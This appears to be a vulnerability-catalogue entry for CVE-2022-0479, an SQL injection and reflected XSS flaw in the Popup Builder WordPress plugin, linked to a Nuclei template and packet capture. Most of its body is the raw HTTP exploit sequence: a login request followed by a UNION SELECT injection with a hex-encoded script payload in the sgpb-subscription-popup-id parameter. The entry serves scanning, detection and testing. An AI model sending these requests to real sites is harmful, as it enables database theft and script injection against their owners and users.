| Title | Popup Builder Plugin - SQL Injection and Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Allows attackers to execute malicious SQL queries and inject scripts into web pages |
| Remediation | Update Popup Builder Plugin to the latest secure version |
| CVSS Score | 9.8 |
| EPSS Score | 0.76374 |
| CVE ID | CVE-2022-0479 |
| CWE ID | CWE-89 |
| Fofa Query | body="/wp-content/plugins/popup-builder" |
| Tags | cve cve2022 wp wp-plugin wordpress popup-builder xss sqli authenticated vuln |
The Popup Builder WordPress plugin before 4.1.1 is vulnerable to SQL Injection and Reflected XSS via the sgpb-subscription-popup-id parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=Tryo7N&pwd=J6XxQT&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=popupbuilder&page=sgpbSubscribers&sgpb-subscription-popup-id=0%29+union+all++select+1%2C0x3c696d6720737263206f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e%2C3%2C4%2C5%2C6+--+g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0479.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0479.pcap
N/AN/A